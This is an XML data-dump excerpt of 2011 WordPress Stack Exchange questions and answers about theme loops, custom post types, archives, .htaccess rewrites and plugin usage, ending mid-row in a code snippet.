  <row Id="11886" PostTypeId="1" AcceptedAnswerId="11958" CreationDate="2011-03-13T04:28:10.783" Score="1" ViewCount="282" Body="&lt;p&gt;This is a second navigation menu I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul id=&quot;forums&quot;&amp;gt;&#xA;        &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;        &amp;lt;?php $custom_posts-&amp;gt;query('post_type=bbp_forum'); ?&amp;gt;&#xA;        &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is a custom loop which list a custom post type called Forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to highlight the current Forum link, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ryBto.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? &lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-14T11:30:53.477" Title="Highlighting the current page in a navigation menu which links are generated with a custom loop?" Tags="&lt;css&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11887" PostTypeId="2" ParentId="11874" CreationDate="2011-03-13T04:28:42.637" Score="0" ViewCount="" Body="&lt;p&gt;Sidebars are registered in the option &lt;code&gt;'sidebars_widgets'&lt;/code&gt;.&#xA;To see what’s in and what not, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_footer', 'show_my_sidebars' );&#xA;&#xA;function show_my_sidebars()&#xA;{&#xA;    $sw = get_option( 'sidebars_widgets' );&#xA;    print '&amp;lt;pre&amp;gt;' . htmlspecialchars( print_r( $sw, TRUE ) ) . '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array &#xA;(&#xA;[sidebar-footer-left] =&amp;gt; Array &#xA;( &#xA;[0] =&amp;gt; archives-3 &#xA;)&#xA;[sidebar-footer-right] =&amp;gt; Array &#xA;( &#xA;[0] =&amp;gt; recent-comments-3 &#xA;)[array_version] =&amp;gt; 3 &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So check the option in per &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_activation_hook&quot; rel=&quot;nofollow&quot;&gt;activation hook&lt;/a&gt; and insert your widgets if they aren’t already in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And stop using &lt;code&gt;if ( function_exists('register_sidebar') )&lt;/code&gt;. Do you really want to support four years old WP versions?&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-13T04:28:42.637" CommentCount="3" />
  <row Id="11888" PostTypeId="2" ParentId="1720" CreationDate="2011-03-13T04:32:23.477" Score="1" ViewCount="" Body="&lt;p&gt;Feedwwordpress is probably the best tool for the job. Unfortunately it isn't very friendly for modifying. The author's site is a bit confusing to navigate and will confound most basic wordpress users. The source code is long, convoluted, occasionally commented and sometimes a little funny. (See feedwordpress/feedwordpress-walker-category-checklist.class.php for a chuckle.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it works, and should work for Wordpress 2.6-3.1. It even supports rss feeds being put into custom post types (though you'll have to work though a little trial and error to get a custom field into your post type.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a beast to write a modifying plugin for. Though I'd done one last year, I've spend the last day going through the source code because I was needing to write another fwp modifying plugin. I'm finally giving up and working around the problem in a different way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to your concern about FWP adding authors -- you know there's a setting for that, and you can set it on a per-feed basis. You can map authors to existing users rather easily.&lt;/p&gt;&#xA;" OwnerUserId="1515" LastActivityDate="2011-03-13T04:32:23.477" />
  <row Id="11889" PostTypeId="1" CreationDate="2011-03-13T04:59:36.510" Score="1" ViewCount="75" Body="&lt;p&gt;I'd like to simplify the installation and default settings of my theme, by creating a plugin that installs it (versus the traditional &quot;Appearance &gt; Install Themes&quot; routine. Once installed, I want to be able to delete the plugin from the site, so there will be no dependencies on it after activation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would include the theme.zip file inside the plugin.zip file so that it could easily be transferred up and over to the themes directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, any examples of this would be helpful. Thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-08-11T19:22:26.963" Title="Is it possible to install a theme via a plugin?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11890" PostTypeId="2" ParentId="11889" CreationDate="2011-03-13T05:03:35.060" Score="0" ViewCount="" Body="&lt;p&gt;Why not set the default settings from within the theme? You can use the 'swith_theme' action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question: yes, it's possible, but it requires that the user's setup allows moving files, which can lead to more headaches than covenience.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-13T05:03:35.060" CommentCount="7" />
  <row Id="11891" PostTypeId="1" CreationDate="2011-03-13T05:31:23.177" Score="2" ViewCount="121" Body="&lt;p&gt;I'm setting up a &quot;Design Show Winners&quot; section for a design organization that runs it's site off WordPress. For ease of use, I'd like it to be a custom post type of &quot;Design Show Winners&quot; with non-hierarchical taxonomies of &quot;Entry Year&quot;, &quot;Entry Category&quot;, &quot;Designer or Firm&quot;, and then a couple other pieces of custom field meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part I'm struggling with is that each year will have 3 distinctly different pages: a landing page, list of winners, and a winner detail page. We will want to add new ones every year without getting rid of or modifying the old ones. Each year, about 70 or so winning pieces will be added, you can see how selecting a parent page in a drop-down with several hundred options would be unwieldy. That's why I'd like to keep the year as a taxonomy rather than a hierarchical post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that, we want to have these other taxonomies (Entry Category, Designer or Firm) be search-able cross-year (as in all years, or just searching by taxonomy) using a templates that match the default style of their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the people who would adding the new sites are not that technical beyond HTML and CSS, so if there is a way we could do this with a template page, that would be ideal. I saw &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8608/how-to-quickly-switch-custom-post-type-singular-template&quot;&gt;this post&lt;/a&gt; mention creating custom template redirects. Could I possibly use something like that to accomplish my goal? If so, how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this isn't exactly your run of the mill WordPress issue, so if somebody could point me in the right direction on this issue, I'd really appreciate it. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3905" LastActivityDate="2011-08-22T19:33:30.247" Title="Need some templating advice for templating with custom post types and taxonomies" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;templates&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="11892" PostTypeId="1" CreationDate="2011-03-13T05:31:23.543" Score="1" ViewCount="105" Body="&lt;p&gt;I've noticed on our WordPress blog that I get Google hits on two forms of blog entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://blog.stackoverflow.com/2011/01/twitter-question-feeds-for-stack-exchange/&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://blog.stackoverflow.com/author/admin/page/4/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter form, paginating by author, is &lt;em&gt;definitely&lt;/em&gt; not wanted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I block paging by author in WordPress? I do know how to block it in robots.txt (which I will do!) but I would prefer to turn off author paging entirely, if possible.&lt;/p&gt;&#xA;" OwnerUserId="152" LastActivityDate="2011-03-16T13:13:03.767" Title="Blocking author paging for blog entries?" Tags="&lt;pagination&gt;" AnswerCount="2" />
  <row Id="11893" PostTypeId="1" AcceptedAnswerId="11903" CreationDate="2011-03-13T06:03:33.480" Score="1" ViewCount="79" Body="&lt;p&gt;I'm using the twentyten theme with the bbpress plugin.&#xA;I have the following in my header.php (twentyten):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;masthead&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;branding&quot; role=&quot;banner&quot;&amp;gt;&#xA;            &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php get_site_url(); ?&amp;gt;&quot;&amp;gt;TaiwanTalk&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #branding --&amp;gt;&#xA;        &amp;lt;div id=&quot;access&quot; role=&quot;navigation&quot;&amp;gt;&#xA;            &amp;lt;?php wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary' ) ); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #masthead --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_site_url&lt;/code&gt; doesn't return anything.&#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-13T09:00:25.293" Title="get_site_url is not returning anything?" Tags="&lt;urls&gt;&lt;link&gt;" AnswerCount="2" />
  <row Id="11894" PostTypeId="1" AcceptedAnswerId="11896" CreationDate="2011-03-13T06:15:52.720" Score="2" ViewCount="124" Body="&lt;p&gt;I'm a noob at this so please bear with me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code to return post title as links within categoryID 6, which is working fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $post; $cat_posts = get_posts('numberposts=10&amp;amp;category=6');&#xA;  foreach($cat_posts as $post) : ?&amp;gt;&#xA;    &amp;lt;?php $postTitle = get_the_title(); if($title != $postTitle) :?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;amp;rsaquo;&amp;amp;rsaquo; &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endif ;?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the category ID is a variable, e.g. $catID, can I use this in the above code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3907" LastActivityDate="2011-03-13T06:48:43.713" Title="With get_posts(), how can I put a category as a variable" Tags="&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="11895" PostTypeId="1" AcceptedAnswerId="11915" CreationDate="2011-03-13T06:24:54.443" Score="1" ViewCount="116" Body="&lt;p&gt;How do I have my plugin pop up with that &lt;code&gt;New version available. Upgrade Automatically&lt;/code&gt; dialog to appear when my plugin has a new version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find it anywhere... :(&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-07-15T20:34:23.537" Title="How to auto-upgrade my plugin?" Tags="&lt;plugin-development&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="11896" PostTypeId="2" ParentId="11894" CreationDate="2011-03-13T06:48:43.713" Score="3" ViewCount="" Body="&lt;p&gt;Have you tried the following code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_posts = get_posts('numberposts=10&amp;amp;category='.$catID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-03-13T06:48:43.713" CommentCount="1" />
  <row Id="11897" PostTypeId="2" ParentId="11893" CreationDate="2011-03-13T07:02:03.367" Score="1" ViewCount="" Body="&lt;p&gt;The function is located in wp-includes/link-template.php. You can take a look at the code &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/link-template.php&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and see if there are any conditions that look like they could be the problem. If not, then you can either debug, or use &quot;echo&quot; in order to see where the code goes, and what is missing&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-03-13T07:02:03.367" />
  <row Id="11898" PostTypeId="1" CreationDate="2011-03-13T07:08:52.797" Score="0" ViewCount="54" Body="&lt;p&gt;in Wordpress, how can I find and display the first comment or the comment of an administrator outside of the comments table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine like an sql query that displays the first comment of the post...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues?&#xA;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a function that gets 5 recent comments of all posts. I would like to edit this and show the latest of the post I am reading&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function showLatestComments() {&#xA;  global $wpdb;  &#xA;  $sql = &quot;&#xA;   SELECT DISTINCT comment_post_ID, comment_author, comment_date_gmt, comment_approved, SUBSTRING(comment_content,1,100) AS com_excerpt &#xA;   FROM $wpdb-&amp;gt;comments &#xA;   WHERE comment_approved = '1'&#xA;   ORDER BY comment_date_gmt DESC &#xA;   LIMIT 5&quot;;  &#xA; $comments = $wpdb-&amp;gt;get_results($sql);  &#xA; $output .= '&amp;lt;h2&amp;gt;latest comments&amp;lt;/h2&amp;gt;&amp;lt;ul id=&quot;comm&quot;&amp;gt;';  &#xA; foreach ($comments as $comment) { &#xA;   $output .= '&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;'. $comment-&amp;gt;comment_author . ' said&amp;lt;/strong&amp;gt; : &quot;' . strip_tags($comment-&amp;gt;com_excerpt). '...&quot;&amp;lt;/li&amp;gt;';&#xA;   }&#xA; $output .= '&amp;lt;/ul&amp;gt;';  &#xA; echo $output;  &#xA;}//end function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2011-03-13T07:08:52.797" Title="Display first comment of post outside the comments template (using SQL maybe)" Tags="&lt;posts&gt;&lt;mysql&gt;&lt;sql&gt;" />
  <row Id="11899" PostTypeId="1" AcceptedAnswerId="11908" CreationDate="2011-03-13T07:19:37.717" Score="0" ViewCount="159" Body="&lt;p&gt;I have a Wordpress site that relies on relationships quite heavily. It's a record label website where artists can be related to tours, reviews, album releases and store items throughout the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the plugin &lt;a href=&quot;http://scribu.net/wordpress/posts-to-posts&quot; rel=&quot;nofollow&quot;&gt;Posts to Posts by Scribu&lt;/a&gt; which seems to do what I want, but I don't understand how to use it properly. Scribu has posted example code, but for some reason I just cannot understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I want to do with the site I am working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tours Page.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tour item has a title and a custom meta field called 'tickets_link'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon loading the tours page, all tours will be shown with their assigned artist and if it has a tickets link, then show that as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone here can understand the code posted on Scribu's site for the plugin and then explain it to me, I would gratefully appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is my code from the functions.php file registering the connections:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function my_connection_types() {&#xA;    if ( !function_exists('p2p_register_connection_type') )&#xA;        return;&#xA;&#xA;    p2p_register_connection_type( 'tours', 'artists' );&#xA;    p2p_register_connection_type( 'homepage_carousel', 'artists' );&#xA;    p2p_register_connection_type( 'duka', 'artists' );&#xA;    p2p_register_connection_type( 'products_carousel', 'artists' );&#xA;}&#xA;  add_action('init', 'my_connection_types', 100);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pseudo code to show what I want to do in my code:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fetch all tours in my tours custom post archive using a loop that gets all tours added to the site.&lt;/li&gt;&#xA;&lt;li&gt;Each tour is related to an artist, so display all tours for a particular artist.&lt;/li&gt;&#xA;&lt;li&gt;Items are in the form of a heading (artist name) and each item is a tour that has been related to a particular artist in the backend using the metabox that shows as a result from registering a connection.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further update along with code I am using and print_r values.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the related artists showing up in my print_r contents of my query where before I didn't. When I do a print_r I get the following that shows up, but no way of accessing the data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[connected_connected] =&amp;gt; Array ( [0] =&amp;gt; stdClass Object ( [ID] =&amp;gt; 245 [post_author] =&amp;gt; 1 [post_date] =&amp;gt; 2011-03-10 13:55:23 [post_date_gmt] =&amp;gt; 2011-03-10 13:55:23 [post_content] =&amp;gt; [post_title] =&amp;gt; 1200 Techniques [post_excerpt] =&amp;gt; [post_status] =&amp;gt; publish [comment_status] =&amp;gt; closed [ping_status] =&amp;gt; closed [post_password] =&amp;gt; [post_name] =&amp;gt; 1200-techniques [to_ping] =&amp;gt; [pinged] =&amp;gt; [post_modified] =&amp;gt; 2011-03-10 13:55:23 [post_modified_gmt] =&amp;gt; 2011-03-10 13:55:23 [post_content_filtered] =&amp;gt; [post_parent] =&amp;gt; 0 [guid] =&amp;gt; http://localhost/testdev/?post_type=artists&amp;amp;p=245 [menu_order] =&amp;gt; 0 [post_type] =&amp;gt; artists [post_mime_type] =&amp;gt; [comment_count] =&amp;gt; 0 [p2p_id] =&amp;gt; 2 [p2p_from] =&amp;gt; 215 [p2p_to] =&amp;gt; 245&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The code I am using to relate artists with tours is the following:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$connected = new WP_Query(array(&#xA;    'post_type' =&amp;gt; 'tours',&#xA;    'nopaging' =&amp;gt; true,&#xA;    'each_connected' =&amp;gt; array(&#xA;        'post_type' =&amp;gt; 'artists',&#xA;        'nopaging'  =&amp;gt; true,&#xA;    ),&#xA;    'suppress_filters' =&amp;gt; false&#xA;));&#xA;&#xA;while( $connected-&amp;gt;have_posts() ): $connected-&amp;gt;the_post();&#xA;    the_title();&#xA;    echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;endwhile;   &#xA;&#xA;print_r($connected); // Print_r for showing contents of post object.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update for Scribu:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array&#xA;(&#xA;    'post_type'        =&amp;gt; 'tours',&#xA;    'nopaging'         =&amp;gt; true,&#xA;    'suppress_filters' =&amp;gt; false&#xA;);&#xA;&#xA;$connected = new WP_Query($args);&#xA;&#xA;while($connected-&amp;gt;have_posts()): $connected-&amp;gt;the_post();&#xA;&#xA;    the_title();&#xA;    echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;    foreach ($connected-&amp;gt;connected AS $tour_item)&#xA;    {&#xA;        echo get_the_title($tour_item-&amp;gt;ID);&#xA;        echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;    }&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1687" LastEditorUserId="1687" LastEditorDisplayName="" LastEditDate="2011-03-13T11:52:06.857" LastActivityDate="2011-03-13T12:12:51.337" Title="How Do I Use The Wordpress Plugin Posts 2 Posts by Scribu?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="11900" PostTypeId="1" CreationDate="2011-03-13T07:21:39.870" Score="0" ViewCount="210" Body="&lt;p&gt;Here is my current code which shows a dropdown list of all years daily post archive. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;archive-dropdown&quot; onChange='document.location.href=this.options[this.selectedIndex].value;'&amp;gt; &#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;?php echo attribute_escape(__('Select Issue')); ?&amp;gt;&amp;lt;/option&amp;gt; &#xA;  &amp;lt;?php wp_get_archives('type=daily&amp;amp;format=option'); ?&amp;gt; &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i want to show a specific year daily post archive into dropdown list. (eg. only 2010 daily post archive will show into dropdown list)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pls help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Onirban&lt;/p&gt;&#xA;" OwnerUserId="3910" LastEditorUserId="3910" LastEditorDisplayName="" LastEditDate="2011-03-13T07:58:00.073" LastActivityDate="2011-03-16T12:50:45.793" Title="How to show specific year archive into dropdown list" Tags="&lt;archive&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11901" PostTypeId="1" CreationDate="2011-03-13T08:55:51.923" Score="0" ViewCount="117" Body="&lt;p&gt;I have wordpress installed and permalink structure set to /%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to WordPress folders, I also have a public_html/beta folder where I wanted to copy the same site and test some unreleased features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whenever I navigate to &lt;a href=&quot;http://mysite.com/beta&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/beta&lt;/a&gt; , I get the WordPress message saying &quot;Sorry, but you're looking for something that isn't there&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is how do I make the folder take higher priority/preference than the wordpress slugs? :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: here's the .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3911" LastEditorUserId="3911" LastEditorDisplayName="" LastEditDate="2011-03-13T09:10:52.020" LastActivityDate="2011-03-13T09:10:52.020" Title="Wordpress slugs and 404 handling takes preference over folders in site root?" Tags="&lt;3.0&gt;&lt;permalinks&gt;&lt;slug&gt;&lt;settings&gt;&lt;htaccess&gt;" CommentCount="4" />
  <row Id="11902" PostTypeId="1" CreationDate="2011-03-13T09:00:05.730" Score="0" ViewCount="189" Body="&lt;p&gt;I added the below code to my index.php and it's working fine. Then I added it to my type-[post_type].php file and it's still displaying the code for the last post on the page. I can't figure out why. Should I be doing it a different way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if( $wp_query-&amp;gt;current_post &amp;lt; $wp_query-&amp;gt;post_count-1 ): ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/fezhr.png&quot; /&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my loop for one of the post types:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;latestLinks&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;listHead&quot;&amp;gt;Latest&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;listLinks&quot;&amp;gt;&amp;lt;a href=&quot;http://www.flesheatingzipper.com/&quot; id=&quot;linksA&quot;&amp;gt;EVERYTHING&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;http://www.flesheatingzipper.com/games/&quot; id=&quot;linksG&quot;&amp;gt;GAMES&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;http://www.flesheatingzipper.com/entertainment/&quot; id=&quot;linksE&quot;&amp;gt;ENTERTAINMENT&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;http://www.flesheatingzipper.com/tech/&quot; id=&quot;linksT&quot;&amp;gt;TECH&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;http://www.flesheatingzipper.com/podcasts/&quot; id=&quot;linksP&quot;&amp;gt;PODCASTS&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;br style=&quot;clear:both;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;postWrapper&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt; &#xA;&#xA;            &amp;lt;div class=&quot;postDetails&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;postDetailsLeft&quot;&amp;gt;Posted by: &amp;lt;?php the_author_posts_link(); ?&amp;gt; on &amp;lt;?php the_time('F j, Y'); ?&amp;gt; at &amp;lt;?php the_time('g:i a'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;postDetailsRight&quot;&amp;gt;&amp;lt;?php if(function_exists('the_views')) { the_views(); } ?&amp;gt; | &amp;lt;a href=&quot;&amp;lt;?php comments_link(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php comments_number('0 Comments', '1 Comment', '% Comments'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;br style=&quot;clear:both;&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        if ( has_post_thumbnail() ) {&#xA;            $image_id = get_post_thumbnail_id();&#xA;            $image_url = wp_get_attachment_image_src($image_id, 'large', true);&#xA;            echo '&amp;lt;a href=&quot;' . get_permalink($post-&amp;gt;ID) . '&quot; title=&quot;' . get_the_title($post-&amp;gt;ID) . '&quot;&amp;gt;&amp;lt;img src=&quot;' . $image_url[0] . '&quot; title=&quot;' . get_the_title($post-&amp;gt;ID) . '&quot; alt=&quot;' . get_the_title($post-&amp;gt;ID) . '&quot; class=&quot;aligncenter&quot; /&amp;gt;&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;           ob_start();&#xA;           the_content('Read the rest of this article...');&#xA;           $postOutput = preg_replace('/&amp;lt;img[^&amp;gt;]+./','', ob_get_contents());&#xA;           ob_end_clean();&#xA;           echo $postOutput;&#xA;        ?&amp;gt;&#xA;        &amp;lt;br style=&quot;clear:both;&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php if( $wp_query-&amp;gt;current_post &amp;lt; $wp_query-&amp;gt;post_count-1 ): ?&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/fezhr.png&quot; class=&quot;fezHR&quot; /&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;?php wp_pagenavi(); ?&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/FEZ404.png&quot; 